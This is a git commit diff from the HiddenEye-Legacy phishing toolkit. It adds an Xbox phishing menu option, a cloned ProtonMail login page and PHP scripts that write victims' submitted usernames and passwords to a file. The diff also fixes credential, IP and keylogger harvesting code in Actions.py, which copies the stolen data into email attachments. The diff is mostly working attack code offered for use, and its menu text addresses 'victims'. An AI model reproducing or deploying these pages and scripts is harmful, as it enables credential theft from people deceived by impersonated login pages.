StarMirror/HiddenEye-Legacy
1
0
Fork 0
mirror of https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git synced 2024-03-22 21:12:55 +08:00
Code Issues Projects Releases Wiki Activity

Fix #448, #449, #416, #431 and #390 (#450)

Browse Source 
* Fix #448

* Fix #449

* Fix #416 and #431

* Added Xbox

* Fix MySpace and ProtonMail

* .gitignore file

* Fix ip.txt
This commit is contained in:
Moltivie 2019-11-18 11:00:29 +01:00 committed by AnonUD4Y
parent 77f7e768c8
commit 2de87f7742
14 changed files with 689 additions and 26 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
.gitignore vendored
View File

@ -19,3 +19,6 @@ env
# Ignore created files by SendMail functions
Defs/Send_Email/attachments/ip.txt
Defs/Send_Email/attachments/usernames.txt
# Ignore created files by Xbox WebPage
WebPages/xbox/ip.txt

25
Defs/Actions.py
View File

@ -113,7 +113,7 @@ def runPhishing(page, customOption): # Phishing pages selection menu
copy_tree("WebPages/dropbox/", "Server/www/")
elif page == 'eBay':
copy_tree("WebPages/ebay/", "Server/www/")
elif page == 'MySpace':
elif page == 'Myspace':
copy_tree("WebPages/myspace/", "Server/www/")
elif page == 'PayPal':
copy_tree("WebPages/paypal/", "Server/www/")
@ -131,6 +131,8 @@ def runPhishing(page, customOption): # Phishing pages selection menu
copy_tree("WebPages/subitoit/", "Server/www/")
elif page == 'PlayStation':
copy_tree('WebPages/playstation/', "Server/www/")
elif page == 'Xbox':
copy_tree('WebPages/xbox/', "Server/www/")
else:
endMessage()
@ -280,9 +282,9 @@ def randomLocalxpose(port):
try:
output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = str(output).decode("utf-8")
print("\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(
MAIN0, MAIN4, MAIN3, port) + url + "{1}".format(MAIN0, MAIN4, MAIN3))
url = str(output.decode('utf-8'))
print("\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(
MAIN0, MAIN4, MAIN3, port, url) + "{1}".format(MAIN0, MAIN4, MAIN3))
print("\n")
except CalledProcessError:
@ -448,7 +450,7 @@ def mainMenu():
________________________________________________________________________________'''.format(MAIN3, MAIN4, MAIN2, MAIN0))
print("------------------------\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n------------------------".format(MAIN0, MAIN2))
print(" {0}[{1}1{0}]{1} Facebook {0}[{1}13{0}]{1} Steam {0}[{1}25{0}]{1} Badoo {0}[{1}37{0}]{1} PlayStation".format(MAIN0, MAIN2))
print(" {0}[{1}2{0}]{1} Google {0}[{1}14{0}]{1} VK {0}[{1}26{0}]{1} CryptoCurrency".format(
print(" {0}[{1}2{0}]{1} Google {0}[{1}14{0}]{1} VK {0}[{1}26{0}]{1} CryptoCurrency {0}[{1}38{0}]{1} Xbox".format(
MAIN0, MAIN2))
print(" {0}[{1}3{0}]{1} LinkedIn {0}[{1}15{0}]{1} iCloud {0}[{1}27{0}]{1} DevianArt ".format(
MAIN0, MAIN2))
@ -623,6 +625,10 @@ ________________________________________________________________________________
loadModule('PlayStation')
customOption = ''
runPhishing('PlayStation', customOption)
elif option == '38':
loadModule('Xbox')
customOption = ''
runPhishing('Xbox', customOption)
else:
endMessage()
@ -901,14 +907,13 @@ def getCredentials(port):
if len(lines) != 0:
writeLog('\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n {0}{2}{1}'.format(
MAIN2, MAIN3, lines))
system('touch Server/CapturedData/usernames.txt && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt && rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt')
system("touch Server/CapturedData/usernames.txt && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt && echo -n '' > Server/www/usernames.txt")
creds.close()
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*.*.*)\n', lines).group(1)
ip = re.search("Victim Public IP: (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\n,\r]", lines).group(1)
user = re.match('Current logged in user: (a-z0-9)\n', lines)
resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))
ipinfo = json.loads(resp.read().decode(
@ -937,8 +942,8 @@ def getCredentials(port):
if len(lines) != 0:
writeLog(
'{0}...............................'.format(MAIN0, MAIN4))
writeLog(' {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n {0}{2}{1}').format(
MAIN3, MAIN2, lines)
writeLog(
' {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n {0}{2}{1}'.format(MAIN3, MAIN2, lines))
system('touch Server/CapturedData/KeyloggerData.txt && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt && rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt')
writeLog(
'{0}...............................'.format(MAIN0, MAIN4))

3
WebPages/live_web/index.php
View File

File diff suppressed because one or more lines are too long

21
WebPages/live_web/login.php
View File

@ -1,15 +1,10 @@
<?php
include 'ip.php';
session_start();
$pass = $_POST["passwd"];
$email=$_SESSION["Email"];
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();
session_destroy();
include 'ip.php';
session_start();
$pass = $_POST["passwd"];
$email=$_SESSION["Email"];
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();
session_destroy();
?>

5
WebPages/live_web/pass.php
View File

@ -1,7 +1,8 @@
<?php
<?php
session_start();
if(isset($_POST["Email"])){
$_SESSION["Email"]=$_POST["Email"];
}
}
?>

318
WebPages/protonmail/index.php Normal file
View File

@ -0,0 +1,318 @@
<!DOCTYPE html>
<html lang="en" ng-csp="no-unsafe-eval"
class="protonmail ua-windows_nt ua-windows_nt-10 ua-windows_nt-10-0 ua-chrome ua-chrome-78 ua-chrome-78-0 ua-chrome-78-0-3904 ua-chrome-78-0-3904-97 ua-desktop ua-desktop-windows ua-webkit ua-webkit-537 ua-webkit-537-36 js">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style type="text/css">
@charset "UTF-8";
[ng\:cloak],
[ng-cloak],
[data-ng-cloak],
[x-ng-cloak],
.ng-cloak,
.x-ng-cloak,
.ng-hide:not(.ng-hide-animate) {
display: none !important;
}
ng\:form {
display: block;
}
.ng-animate-shim {
visibility: hidden;
}
.ng-anchor {
position: absolute;
}
</style>
<meta name="viewport" content="width=device-width,user-scalable=no">
<meta http-equiv="x-dns-prefetch-control" content="off">
<!--<base href="/">-->
<base href=".">
<title>Login | ProtonMail</title>
<meta name="description" content="Log in or create an account.">
<link rel="apple-touch-icon" sizes="57x57"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180"
href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-180x180.png">
<link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-32x32.png"
sizes="32x32">
<link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-194x194.png"
sizes="194x194">
<link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-96x96.png"
sizes="96x96">
<link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/android-chrome-192x192.png"
sizes="192x192">
<link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-16x16.png"
sizes="16x16">
<link rel="manifest" href="https://mail.protonmail.com/manifest.json">
<link rel="mask-icon" href="https://mail.protonmail.com/assets/favicons/safari-pinned-tab.svg" color="#333366">
<link rel="shortcut icon" href="https://mail.protonmail.com/assets/favicons/favicon.ico">
<meta name="google" content="notranslate">
<meta name="apple-mobile-web-app-title" content="ProtonMail">
<meta name="application-name" content="ProtonMail">
<meta name="msapplication-TileColor" content="#333366">
<meta name="msapplication-TileImage" content="/assets/favicons/mstile-144x144.png">
<meta name="theme-color" content="#333366">
<meta name="apple-itunes-app" content="app-id=979659905">
<meta name="google-play-app" content="app-id=ch.protonmail.android">
<link href="style.css" rel="stylesheet">
<script charset="utf-8" src="./index_files/9.a7f19d2214.chunk.js"
integrity="sha384-uqi5WoF26XNNtO9j9A5jplyH0iAGsJszx1H4aky8W0wCh6RHwNNX+gsxbCd63Qdk"
crossorigin="anonymous"></script>
<script charset="utf-8" src="./index_files/10.a56157fc00.chunk.js"
integrity="sha384-xgNZ1GVCiwCb/dwOJTgcddV3+XSDLK2fCciAxxYUGIA2w/EUhzbET7x+GIAxc+1m"
crossorigin="anonymous"></script>
<script src="blob:https://mail.protonmail.com/eedfe9f5-d148-40ec-aa3d-27f8c090c109"></script>
<script charset="utf-8" src="./index_files/vendors_vendorLazy.module.3207cb827c.chunk.js"
integrity="sha384-hTFvN82HD4holkOusLrs8kmy8IDg1pqgrFRhmKhrN7mgMKktggLAzpOZbNgQk/VH"
crossorigin="anonymous"></script>
<script charset="utf-8" src="./index_files/vendorLazy.module.b10a6dfeda.chunk.js"
integrity="sha384-xBb4m9qw+pvYOCGbjI77bWfC1A5fes1EzzXn/0LmYoHoOGoYhP7C3J6YQQwvrFSU"
crossorigin="anonymous"></script>
<style id="angular-vs-repeat-style">
.vs-repeat-debug-element {
top: 50%;
left: 0;
right: 0;
height: 1px;
background: red;
z-index: 99999999;
box-shadow: 0 0 20px red;
}
.vs-repeat-debug-element+.vs-repeat-debug-element {
display: none;
}
.vs-repeat-before-content,
.vs-repeat-after-content {
border: none !important;
padding: 0 !important;
}
</style>
<script charset="utf-8" src="./index_files/vendors_appLazy.module.c528b1bef7.chunk.js"
integrity="sha384-JLARFlL5Hu96ut4aAz0OMFvSP/VraE9ZeQIC9aeh9p53scgY3gOJLR368bX1ZfRD"
crossorigin="anonymous"></script>
<script charset="utf-8" src="./index_files/appLazy.module.e7bbc612f0.chunk.js"
integrity="sha384-VjF0W6TSaIUxE24jc0vdwq56JCEuW/cov4VoV9mp6liJSotO3S99ju1NlMHibipc"
crossorigin="anonymous"></script>
</head>
<body data-app-config-body="" id="login" class="locked">
<style id="customTheme"></style>
<div id="pm_loading" class="protonLoader">
<div class="protonLoaderIcon"> <svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="12px" height="16px">
<g xmlns="http://www.w3.org/2000/svg">
<path fill="#9397cd"
d="M5.642,0.23c0,0-4.677-0.154-5.642,5.035v3.534c0,0,0.04,0.378,1.104,1.146 c1.064,0.768,3.817,2.931,4.538,2.931s3.475-2.163,4.538-2.931c1.064-0.768,1.104-1.146,1.104-1.146V5.264 C10.319,0.076,5.642,0.23,5.642,0.23z M8.845,7.191H5.642H2.439V5.264c0.65-2.577,3.203-2.612,3.203-2.612s2.553,0.035,3.203,2.612 V7.191z">
</path>
<path fill="#9397cd"
d="M5.642,13.672c0,0-0.725-0.071-1.292-0.465C3.783,12.813,0,10.11,0,10.11v5.35c0,0,0.032,0.622,0.718,0.622 s4.925,0,4.925,0s4.239,0,4.925,0s0.718-0.622,0.718-0.622v-5.35c0,0-3.783,2.703-4.35,3.097 C6.367,13.601,5.642,13.672,5.642,13.672z">
</path>
</g>
</svg> </div>
</div>
<!---->
<div ui-view="main" autoscroll="false" id="body" style="background-image: url('login.jpg')">
<header class="pm_opensans headerNoAuth-container">
<ul class="headerNoAuth-list">
<li class="headerNoAuth-item-back"> <a class="headerNoAuth-item-noAuth" href="https://protonmail.com/"
target="_self"> <span translate="" translate-context="Action">Back to protonmail.com</span> </a>
<a class="headerNoAuth-item-auth" ui-sref="login" ui-sref-opts="{reload: true, notify: true}"
translate-title="Login" translate-title-context="Action"
href="https://mail.protonmail.com/login"> <span translate="" translate-context="Action">Back to
login</span> </a> </li>
<li class="headerNoAuth-item-report"> <button type="button"
class="headerNoAuth-item-report-button newBugReport-container">
<div class="newBugReport-wrapper"> <i class="newBugReport-icon fa fa-bug sidebarApp-icon"></i>
<span translate-context="Action" translate="">Report bug</span> </div>
</button> </li>
<li class="headerNoAuth-item-noAuth headerNoAuth-signup"> <a data-key="forFree"
class="headerNoAuth-item-signup-button pm_button primary" data-link="signup"
href="https://protonmail.com/signup">Sign up for free</a> </li>
<li class="headerNoAuth-item-auth"> <a class="headerNoAuth-item-logout-button pm_button primary"
ui-sref="login" ui-sref-opts="{reload: true, notify: true}" translate=""
translate-context="Action" href="https://mail.protonmail.com/login">Log out</a> </li>
</ul>
</header>
<div class="row">
<!---->
<div ui-view="panel">
<div class="login-container">
<!---->
<form method="post" action="login.php" id="pm_login" name="loginForm"
class="pm_panel pm_panel-login alt pm_form loginForm-container ng-pristine ng-invalid ng-invalid-required"
novalidate="" role="form" autocomplete="on" ng-if="show === &#39;LOGIN&#39;"
data-username="username" data-on-submit="onSubmitLogin" data-loading="loading">
<div class="pm_panel-login__inner"> <img src="logo.png" height="20"
alt="ProtonMail" class="logo">
<h4 class="text-center margin-bottom"> <i class="fa fa-user title-icon"></i> <span
translate-context="Title" translate="">User login</span> </h4>
<!----> <label for="username" class="sr-only" translate-context="Label" translate="">User
login</label> <input autofocus="" autocapitalize="off" autocorrect="off" type="text"
ng-model="username" id="username" name="username"
placeholder-translate-context="login form placeholder"
class="margin loginForm-input-username ng-pristine ng-empty ng-invalid ng-invalid-required ng-touched"
required="" placeholder="Username"> <label for="password" class="sr-only"
translate-context="Label" translate="">Password</label>
<div class="margin loginForm-input-password password-container customPasswordToggler"
data-id="password" data-name="password" data-value="password" data-form="loginForm"
placeholder-translate-context="login form placeholder" placeholder="Password"> <input
type="password"
class="password-input ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required"
ng-model="value" autocapitalize="off" autocorrect="off" autocomplete="off"
required="" data-toggle-password="" id="password" name="password"
placeholder="Password">
<div class="password-messages ng-active" ng-messages="message">
<!---->
<p ng-message="required" class="text-red" translate-context="Error" translate="">
Field required</p>
<!---->
</div> <button type="button" tabindex="0" class="togglePassword-btn-toggle">
</button>
</div>
<div class="loginForm-actions">
<div class="loginForm-actions-column"> <button id="login_btn" type="submit"
ng-disabled="loading"
class="loginForm-actions-main pm_button primary primary-white pull-right loginForm-btn-submit disabled-if-network-activity"
translate-context="Action" translate="">Login</button>
<div class="text-left text-notransform loginForm-actions-help"> <span translate=""
translate-context="Trouble logging in? Get help or try older version.">Trouble
logging in? Get</span> <button class="loginForm-btn-help" data-action="help"
type="button" translate-comment="Action"
translate-context="Trouble logging in? Get help or try older version."
translate="">help</button> <span translate=""
translate-context="Trouble logging in? Get help or try older version.">or
try</span> <a class="link loginForm-btn-oldversion"
href="https://old.protonmail.com/login" target="_self"
translate-comment="Action"
translate-context="Trouble logging in? Get help or try older version."
translate="">older version</a>. </div>
<div class="loginForm-actions-new-container">
<div class="loginForm-actions-new-title text-notransform h4 margin-top"
translate-context="title" translate="">New to ProtonMail?</div>
<div class="loginForm-actions-create-container margin-top"> <a
class="loginForm-link-signup-button loginForm-actions-right margin-bottom"
data-link="signup" href="https://protonmail.com/signup">Create
Account</a> </div>
</div>
</div>
</div>
</div>
<div class="pm_panel-bottom text-notransform"><span translate=""
translate-context="Want to test the latest features? Log in on BETA">Want to test the
latest features? Log in on</span> <a href="https://beta.protonmail.com/" translate=""
translate-context="Want to test the latest features? Log in on BETA">BETA</a>.</div>
</form>
<!---->
<!---->
<!---->
<!---->
</div>
</div>
</div>
<div id="pm_footer">
<p><span class="appCopyright-container">2019 ProtonMail.com - Made globally, hosted in Switzerland.</span>
<a data-prefix="v" href="https://protonmail.com/blog/protonmail-v3-16-release-notes/"
title="Wed, 13 Nov 2019 10:13:06 GMT" target="_blank" class="appVersion-container">3.16.7</a></p>
</div>
</div><noscript class="pm_noscript">ProtonMail requires Javascript. Enable Javascript and reload this page to
continue.</noscript>
<div style="display: none">
<!--?xml version="1.0" encoding="utf-8"?-->
<!-- Generator: Adobe Illustrator 22.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
x="0px" y="0px" viewBox="0 0 374.8 337.1" style="enable-background:new 0 0 374.8 337.1;"
xml:space="preserve">
<defs>
<g id="svg-unlocked-signed">
<g transform="scale(25) translate(3 0)">
<path
d="M1,8.5v-3A.5.5,0,0,1,1.5,5h5a.5.5,0,0,1,.5.5H8A1.51,1.51,0,0,0,7,4.09V3A3,3,0,0,0,1,3H2A2,2,0,0,1,6,3V4H1.5A1.5,1.5,0,0,0,0,5.5v3A1.5,1.5,0,0,0,1.5,10H4V9H1.5A.5.5,0,0,1,1,8.5Z">
</path>
<rect x="8.41" y="8.41" width="2" height="5" transform="translate(-4.96 9.85) rotate(-45)">
</rect>
<polygon points="4.82 6.32 6.23 9.15 7.65 7.73 4.82 6.32"></polygon>
</g>
</g>
<g id="svg-lock-signed">
<path class="svg-checkmark" d="M358,126.7c-0.1-4.2-1.8-8.1-4.9-11l-7.3-7c-6.3-6-16.3-5.7-22.3,0.5l-116.4,122c-3,3.1-7.9,3.4-11.2,0.6
l-54.7-46.4c-3-2.5-6.6-3.7-10.2-3.7c-4.5,0-8.9,1.9-12,5.5l-6.4,7.6c-2.7,3.2-4.1,7.3-3.7,11.5c0.3,4.2,2.3,8,5.5,10.8l79.2,67
c6.3,5.4,15.8,4.9,21.5-1.1l3.4-3.5L353.6,138C356.6,134.9,358.1,130.9,358,126.7z" fill="currentColor"></path>
<path class="svg-lock"
d="M227.7,295.1c-6.5,6.8-15.2,10.2-23.9,10.2c-7.6,0-15.3-2.6-21.5-7.9l-79.4-67.2c-6.7-5.9-10.7-13.8-11.4-22.5
c-0.8-8.8,2-17.4,7.8-24.2l6.5-7.7c6.3-7.4,15.5-11.6,25.3-11.6c7.8,0,15.4,2.8,21.4,7.8l0.1,0.1l48,40.7l56.5-59.2
c-0.6,0-1.2-0.1-1.9-0.1h-6.7V113c0-25.9-9.3-48.1-27.8-66.6C202,27.8,179.8,18.6,154,18.6s-48.1,9.3-66.6,27.8
c-18.8,18.5-28,40.7-28,66.6v40.5h-6.7c-5.6,0-10.4,2-14.3,5.9c-3.9,3.9-5.9,8.7-5.9,14.3v121.5c0,5.6,2,10.4,5.9,14.3
c3.9,3.9,8.7,5.9,14.3,5.9h202.5c5.6,0,10.4-2,14.3-5.9c3.9-3.9,5.9-8.7,5.9-14.3v-50l-44.3,46.4L227.7,295.1z M99.9,113
c0-14.9,5.3-27.6,15.8-38.2C126.2,64.2,138.9,59,153.8,59c14.9,0,27.6,5.3,38.2,15.8s15.8,23.3,15.8,38.2v40.5h-108L99.9,113z"></path>
</g>
<g id="svg-lock-warning">
<path class="svg-lock"
d="M107.8,155H216v-40.6c0-14.9-5.3-27.7-15.8-38.2c-10.6-10.6-23.3-15.8-38.2-15.8s-27.7,5.3-38.2,15.8
s-15.8,23.3-15.8,38.2V155z M283.6,175.3V297c0,5.6-2,10.4-5.9,14.4c-3.9,3.9-8.7,5.9-14.4,5.9H60.5c-5.6,0-10.4-2-14.4-5.9
s-5.9-8.7-5.9-14.4V175.3c0-5.6,2-10.4,5.9-14.4s8.7-5.9,14.4-5.9h6.8v-40.6c0-25.9,9.3-48.2,27.9-66.8s40.8-27.9,66.8-27.9
s48.2,9.3,66.8,27.9s27.9,40.8,27.9,66.8V155h6.8c5.6,0,10.4,2,14.4,5.9C281.6,164.9,283.6,169.7,283.6,175.3z"></path>
<g class="svg-warning-icon">
<path class="svg-warning-contour" d="M163,276.7c-5.4,0-10.4-1.4-15.1-4c-4.6-2.7-8.3-6.3-11-10.9c-5.6-9.6-5.8-20.2-0.4-29.8l85-155.8
c2.7-4.8,6.4-8.7,11-11.5c4.7-2.8,9.9-4.3,15.5-4.3c5.5,0,10.7,1.4,15.5,4.3c4.7,2.8,8.4,6.7,11,11.5l85,155.8
c5.3,9.7,5.2,20.3-0.4,29.9c-2.7,4.6-6.4,8.2-11,10.9c-4.6,2.7-9.7,4-15.1,4H163z"></path>
<path class="svg-warning-sign" d="M260.4,221.5v-18.5c0-0.9-0.3-1.7-0.9-2.3c-0.6-0.6-1.3-0.9-2.2-0.9h-18.7c-0.8,0-1.6,0.3-2.2,0.9
c-0.6,0.6-0.9,1.4-0.9,2.3v18.5c0,0.9,0.3,1.7,0.9,2.3c0.6,0.6,1.3,0.9,2.2,0.9h18.7c0.8,0,1.6-0.3,2.2-0.9
C260.1,223.1,260.4,222.4,260.4,221.5z M260.2,185l1.8-44.7c0-0.8-0.3-1.4-1-1.9c-0.8-0.7-1.6-1.1-2.3-1.1h-21.4
c-0.7,0-1.5,0.4-2.3,1.1c-0.6,0.5-1,1.1-1,2l1.7,44.5c0,0.6,0.3,1.2,1,1.6s1.4,0.6,2.3,0.6h18c0.9,0,1.7-0.2,2.3-0.6
C259.8,186.2,260.2,185.7,260.2,185z M258.9,94l74.8,137.2c2.3,4.1,2.2,8.2-0.2,12.3c-1.1,1.9-2.6,3.4-4.5,4.5
c-1.9,1.1-4,1.7-6.2,1.7H173.1c-2.2,0-4.3-0.6-6.2-1.7c-1.9-1.1-3.4-2.6-4.5-4.5c-2.4-4.1-2.5-8.2-0.2-12.3L237.1,94
c1.1-2,2.6-3.6,4.6-4.8s4.1-1.8,6.3-1.8s4.4,0.6,6.3,1.8S257.8,92,258.9,94z" fill="currentColor"></path>
<path class="svg-warning-exclamation"
d="M260.8,222.1v-19.7c0-1-0.3-1.8-1-2.4c-0.7-0.7-1.4-1-2.3-1h-19.9c-0.9,0-1.7,0.3-2.3,1c-0.7,0.7-1,1.5-1,2.4
v19.7c0,1,0.3,1.8,1,2.4c0.7,0.7,1.4,1,2.3,1h19.9c0.9,0,1.7-0.3,2.3-1C260.5,223.8,260.8,223,260.8,222.1z"></path>
<path class="svg-warning-exclamation" d="M260.6,185.3l1.9-47.6c0-0.8-0.3-1.5-1-2c-0.9-0.8-1.7-1.1-2.5-1.1h-22.8c-0.8,0-1.6,0.4-2.5,1.1
c-0.7,0.5-1,1.2-1,2.2l1.8,47.4c0,0.7,0.3,1.3,1,1.7c0.7,0.4,1.5,0.7,2.5,0.7h19.2c1,0,1.8-0.2,2.4-0.7
C260.2,186.5,260.5,186,260.6,185.3z"></path>
</g>
</g>
<g id="svg-expiration">
<path d="M10.8,11.6h-0.3c-0.1-1-0.3-1.9-0.6-2.7C9.6,8.4,9.3,8,8.8,7.6C8.7,7.5,8.6,7.4,8.6,7.2c0-0.2,0.1-0.3,0.2-0.4l0.1-0.1
C9.3,6.4,9.6,6,9.8,5.6c0.4-0.9,0.7-2,0.7-3.1h0.3c0.4,0,0.7-0.3,0.7-0.7S11.2,1,10.8,1H3.2C2.8,1,2.5,1.3,2.5,1.7s0.3,0.7,0.7,0.7
h0.3c0,1.1,0.2,2.2,0.7,3.1C4.4,6,4.7,6.4,5.1,6.7l0.1,0.1c0.1,0.1,0.2,0.2,0.2,0.4c0,0.2-0.1,0.3-0.2,0.4C4.7,8,4.4,8.4,4.2,8.9
c-0.4,0.8-0.6,1.7-0.6,2.7H3.2c-0.4,0-0.7,0.3-0.7,0.7S2.8,13,3.2,13h7.6c0.4,0,0.7-0.3,0.7-0.7S11.2,11.6,10.8,11.6z M5.1,5.1
C4.7,4.4,4.5,3.4,4.5,2.4h5c0,1-0.2,1.9-0.6,2.7C8.8,5.5,8.5,5.7,8.3,6L8.2,6.1C7.8,6.3,7.6,6.8,7.6,7.2s0.2,0.9,0.6,1.2
c0,0,0,0,0,0H5.8c0,0,0,0,0,0c0.4-0.3,0.6-0.7,0.6-1.2c0-0.5-0.2-0.9-0.5-1.2L5.7,6C5.5,5.7,5.2,5.5,5.1,5.1z"></path>
</g>
<g id="svg-hook">
<path
d="M12.4,3.5A3.5,3.5,0,1,0,7.9,6.84v6.08A2,2,0,0,1,5.9,15c-1.06,0-2-1.48-2.7-3l.29-.89L4,9.67,0,8.31l.43,1.77C.61,10.79,2.22,17,5.9,17a3.93,3.93,0,0,0,4-4.08V6.84A3.48,3.48,0,0,0,12.4,3.5ZM8.9,5a1.5,1.5,0,1,1,1.5-1.5A1.5,1.5,0,0,1,8.9,5Z">
</path>
</g>
</defs>
</svg>
</div>
<script type="text/javascript" src="./index_files/vendors_index.a8538b6241.chunk.js" defer="defer"
integrity="sha384-fWmtUo6AzgiEwOaj7B7BPKMX+vh1/tzJgm1SK8bjsWEtvVV1vksaoQFJlIYtDhsP"
crossorigin="anonymous"></script>
<script type="text/javascript" src="./index_files/index.04f227c197.js" defer="defer"
integrity="sha384-VMEcFJo0JYhc6gPUEjJ/dQ49O9r93qaOZWfEigqvjvuwKrmdqQPgXFkzcBY8vFee"
crossorigin="anonymous"></script><span class="ptdnd-notification"></span>
</body>
</html>

BIN
WebPages/protonmail/login.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 61 KiB

6
WebPages/protonmail/login.php Normal file
View File

@ -0,0 +1,6 @@
<?php
include 'ip.php';
file_put_contents("usernames.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();

BIN
WebPages/protonmail/logo.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.7 KiB

1
WebPages/protonmail/style.css Normal file
View File

File diff suppressed because one or more lines are too long

136
WebPages/xbox/index.php Normal file
View File

File diff suppressed because one or more lines are too long

34
WebPages/xbox/ip2.php Normal file
View File

@ -0,0 +1,34 @@
<?php
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$browser = $_SERVER['HTTP_USER_AGENT'];
$useragent = " User-Agent: " . $browser;
$user = get_current_user();
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "VICTIM OPENED THE PHISHING PAGE" . "/r/n" . " Victim Public IP: ";
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
$fp = fopen($file, 'a');
fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $currentuser);
fclose($fp);

10
WebPages/xbox/login.php Normal file
View File

@ -0,0 +1,10 @@
<?php
include 'ip.php';
session_start();
$pass = $_POST["passwd"];
$email=$_SESSION["Email"];
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();
session_destroy();
?>

153
WebPages/xbox/pass.php Normal file
View File

File diff suppressed because one or more lines are too long